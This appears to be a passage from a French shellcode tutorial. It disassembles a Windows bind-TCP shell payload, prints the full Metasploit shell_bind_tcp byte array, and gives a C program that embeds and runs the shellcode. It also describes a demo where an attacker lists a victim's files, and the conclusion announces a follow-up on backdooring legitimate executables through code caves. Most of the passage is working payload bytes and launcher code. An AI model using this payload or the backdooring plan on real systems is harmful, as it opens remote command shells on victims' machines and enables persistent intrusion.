000000C4:   6A 10                                 PUSH 10h (16) ''
000000C6:   56                                      PUSH ESI
000000C7:   57                                      PUSH EDI
000000C8:   68 C2 DB 37 67                 PUSH 6737DBC2h "ÂÛ7g" (6737DBC2=Hash[Ror13-Hybrid](ws2_32.dll!bind))
000000CD:   FF D5                                 CALL EBP
000000CF:   57                                      PUSH EDI
000000D0:   68 B7 E9 38 FF                  PUSH FF38E9B7h "·é8ÿ" (FF38E9B7=Hash[ROR13-Hybrid](ws2_32.dll!listen))
000000D5:   FF D5                                 CALL EBP
000000D7:   57                                      PUSH EDI
000000D8:   68 74 EC 3B E1                 PUSH E13BEC74h "tì;á" (E13BEC74=Hash[ROR13-Hybrid](ws2_32.dll!accept))
000000DD:   FF D5                                 CALL EBP
000000DF:   57                                      PUSH EDI
000000E0:   97                                       XCHG EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000E1:   68 75 6E 4D 61                  PUSH 614D6E75h "unMa" (614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
000000E6:   FF D5                                 CALL EBP
000000E8:   68 63 6D 64 00                  PUSH 00646D63h "cmd" dw:6581603 / {99 109 100 0} / < w:25600 | w:25453 >
000000ED:   89 E3                                 MOV EBX,ESP
000000EF:   57                                       PUSH EDI
000000F0:   57                                       PUSH EDI
000000F1:   57                                       PUSH EDI
000000F2:   31 F6                                  XOR ESI,ESI
000000F4:   6A 12                                 PUSH 12h (18) ' '
000000F6:   59                                       POP ECX
000000F7:   56                                       PUSH ESI
000000F8:   E2 FD                                 LOOP FDh (-FFFFFFFDh=>:000000F7) Dec ECX or CX jump if !=0
000000FA:   66 C7 44 24 3C 01 01       MOV WORD PTR [ESP+3Ch], 0101h 
00000101:   8D 44 24 10                       LEA EAX,[ESP+0x10]
00000105:   C6 00 44                            MOV BYTE PTR [EAX],44h
00000108:   54                                       PUSH ESP
00000109:   50                                       PUSH EAX
0000010A:   56                                      PUSH ESI
0000010B:   56                                      PUSH ESI
0000010C:   56                                      PUSH ESI
0000010D:   46                                      INC ESI
0000010E:   56                                       PUSH ESI
0000010F:   4E                                       DEC ESI
00000110:   56                                       PUSH ESI
00000111:   56                                       PUSH ESI
00000112:   53                                       PUSH EBX
00000113:   56                                       PUSH ESI
00000114:   68 79 CC 3F 86                 PUSH 863FCC79h "yÌ?†" (863FCC79=Hash[Ror13-Hybrid](kernel32.dll!CreateProcessA))
00000119:   FF D5                                 CALL EBP
0000011B:   89 E0                                 MOV EAX,ESP
0000011D:   4E                                      DEC ESI
0000011E:   56                                       PUSH ESI
0000011F:   46                                       INC ESI
00000120:   FF 30                                  PUSH DWORD PTR[EAX]
00000122:   68 08 87 1D 60                  PUSH 601D8708h " ‡`" (601D8708=Hash[ROR13-Hybrid](ws2_32.dll!WaitForSingleObject))
00000127:   FF D5                                 CALL EBP
00000129 -> 00000147:  =>{CODE}ExitFunk //Metasploit (Multiple Systems Exit shellcode)

Nous retrouvons une variant de la classique fonction CallFnByHash13Hybride
et donc nous avons une structure proche de notre code C/C++ du dessus au finale. Si vous regarder les parties en bleu.

On voit clairement que ce shellcode vient de Metasploit avec le bloc ExitFunk  en mode EXITFUNC=process et vu l'utilisation du modèle de la fonction CallFnByHash13Hybride_V3

C'est qu'une variante ou un upgrade du shellcode Metasploit voir la référence suivante:

 https://www.offensive-security.com/metasploit-unleashed/generating-payloads/

msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"

La version au dessus la seul différence est la fonction CallFnByHash13Hybride qui est la première signature CallFnByHash13Hybride_V1(Dll!Name) 

V.    Test de notre Shellcode


Ici nous ne cherchons pas à l'injecter dans un processus ou autre. Nous allons simplement crée un petit programme via Visual Studio pour lancer notre shellcode

#include "stdafx.h"
#include "TestShellcodeWinShellBindTCPOfC.h"

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

unsigned char szShellCode_ShellBindTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2"
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00"
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57"
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57"
"\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01"
"\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E"
"\x56\x56\x53\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46"
"\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6"
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47"
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5";

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
                int (*TestRun_Shellcode)() = (int(*)())(&szShellCode_ShellBindTCP [0]);
                TestRun_Shellcode();
                return 1;
}

dans notre cas, nous avons intégré à nos outils de création de shellcode, toujours la fonction "Run" permettant de teste en live les modification dans le zone de saisie. Mais comme dit c'est du confort quand on test des variantes du web ou ses propres créations.

Voici maintenant la capture de la démonstration avec un Virtual Machine "WinXP" et la vision du poste de l'attaquant sous Windows 7 avec l'énumération via "dir" du répertoire "Mes documents" sur le poste victime en XP. Et donc visualer les documents dont pour l'exemple "Pelles C Projects" qui dans la cas réel serait un répertoire source de la victime


 






























VI.    Conclusions


Il existe une multitude de shellcode de base disponible sur le "Shell Bind TCP". 
Le but était une initiation et permettre d'introduire un autre sujet dans un prochaine article.
l'utilisation du code cave pour crée un backdoor permanent dans un  programme légitime. 
Mais pour cela il fallait déjà présenté la charge utile qui sera intégré dans un PE d'un binaire légitime.